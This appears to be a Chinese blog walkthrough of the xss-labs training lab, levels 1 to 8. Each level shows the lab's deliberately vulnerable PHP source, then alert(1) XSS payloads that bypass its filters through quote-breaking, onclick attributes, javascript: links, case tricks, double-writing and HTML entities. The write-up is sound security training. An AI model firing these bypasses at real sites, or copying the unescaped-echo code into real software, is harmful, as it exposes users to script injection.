xss-lab全通关

xss-labs Less-1

首先是代码审计,可以看到是利用name参数进行GET传参,$str没有进行任何的过滤,只要触发了alert函数也就是弹窗了就会自动跳转下一关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>





修改url参数,payload如下

http://xss-labs:86/level1.php?name=<script>alert(1)</script>

xss-labs Less-2

审计一下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>





看到关键信息,可以看到我们的get传参输入会被直接拼接到""双引号里面

<input name=keyword  value="'.$str.'">

想要绕过我们就将前面的双引号闭合,payload如下

"><script>alert(1)</script>

这样闭合的话input标签就会被提前闭合,然后浏览器就会解析接下来的script标签,触发alert的JavaScript代码弹窗。不过后面的">就是多余的东西了

<input name=keyword  value=""><script>alert(1)</script>">

我们还能用onclick属性,payload如下

" onclick="alert(1)

那么原来的html代码就会变成下面这样,value属性被提前闭合,浏览器就会访问标签中的下一个属性onclick,意思就是"鼠标点击这里的时候触发,触发alert函数的话就会弹窗

<input name=keyword  value="" onclick="alert(1)">

xss-labs Less-3

依旧审计源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

关键部分,这里相比较于第二关的话多了个htmlspecialchars函数过滤,这个函数会过滤 <font style="background-color:rgba(0, 0, 0, 0.06);">></font>``<font style="background-color:rgba(0, 0, 0, 0.06);"><</font>``<font style="background-color:rgba(0, 0, 0, 0.06);">""</font>但是不会过滤单引号<font style="background-color:rgba(0, 0, 0, 0.06);">'</font>,而且这里html是用<font style="background-color:rgba(0, 0, 0, 0.06);">''</font>单引号闭合,双引号是用来给php解释器看字符串的起始位置的并不会输出到浏览器里面,所以这里我们利用onclick结合单引号闭合即可,不能用script标签因为会被htmlspecailchar

s()函数过滤

<input name=keyword  value='".htmlspecialchars($str)."'>

payload如下

' onclick = ' alert(1)

插入html代码后变为,可以看到闭合没有问题

<input name=keyword  value='' onclick = ' alert(1)'>

成功弹窗

xss-labs Less-4

依旧审计代码这一块、

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>



看到关键部分,意思就是会将输入的$str参数中的"<"和">"置空,那么script参数就不能用了(悲),所以这里就可以用第二关中的onclick payload(因为都是双引号闭合)

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword  value="'.$str3.'">

payload如下

" onclick="alert(1)

xss-labs Less-5

依旧审计代码这一块

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

看到关键部分,这里的话不仅过滤了script标签,还给我onclick属性给过滤了,我们需要一个既不需要 script 标签,也不需要 on 开头的事件属性的 XSS 载体

strtolower: 将输入全部转换为小写。这意味着我们不能通过大小写混合(如 ScRiPt 或 ONclick)来绕过后续的替换。

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

这里依旧是双引号闭合

<input name=keyword  value="'.$str3.'">

标签的 href 属性: 我们可以使用 javascript: 伪协议。

"> <a href="javascript:alert(1)">click me</a>

拼接到html代码里面则为,后面的<font style="background-color:rgba(0, 0, 0, 0.06);">"></font> 为多余部分不必理会

<input name=keyword  value=""> <a href="javascript:alert(1)">click me</a>">

执行代码后可以看到生成了一个超链接,只要点击这个超链接就会自动执行alert代码

xss-labs Less-6

依旧代码审计这一块

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>



这里给我href data src on <script都给过滤了,但是仔细看可以发现这里没有strtolower函数,那我们是不是可以直接用大写过滤

<input name=keyword  value="'.$str6.'">
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

构造payload如下

"><SCRIPT>alert(1)</SCRIPT>
" Onclick="alert(1)
"> <a HREF="javascript:alert(1)">click me</a>

xss-labs Less-7

依旧审计源码这一块

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

但是我们可以发现这次加上了对大小写的过滤,那么我们就只能用双写绕过了(怎么感觉思路和之前打的RCE-lab和upload-lab一样的)

关键代码如下

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword  value="'.$str6.'">

构造payload如下

"><scrscriptipt>alert(1)</scrscriptipt>
" oonnclick="alert(1)

xss-labs Less-8

依旧审计源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

只看关键部分,这次把"给过滤了,所以我们甚至无法闭合,但是这次我们拼接的是href标签,就不闭合了直接构造超链接了。

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

想使用之前的payloadjavascript:alert(1)但是script被过滤了且严格大小写,双写绕过吧

javascriscriptpt:alert(1)

怎么显示我没权限

草,才发现这里源码不是将script置空而是替换成"scri_pt"了

那就只能使用html实体编码了,找一个

在线转码的

HTML字符实体转换,网页字符实体编码

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

posted @ 2025-11-22 17:39  朱迪Judy  阅读(13)  评论(0)    收藏  举报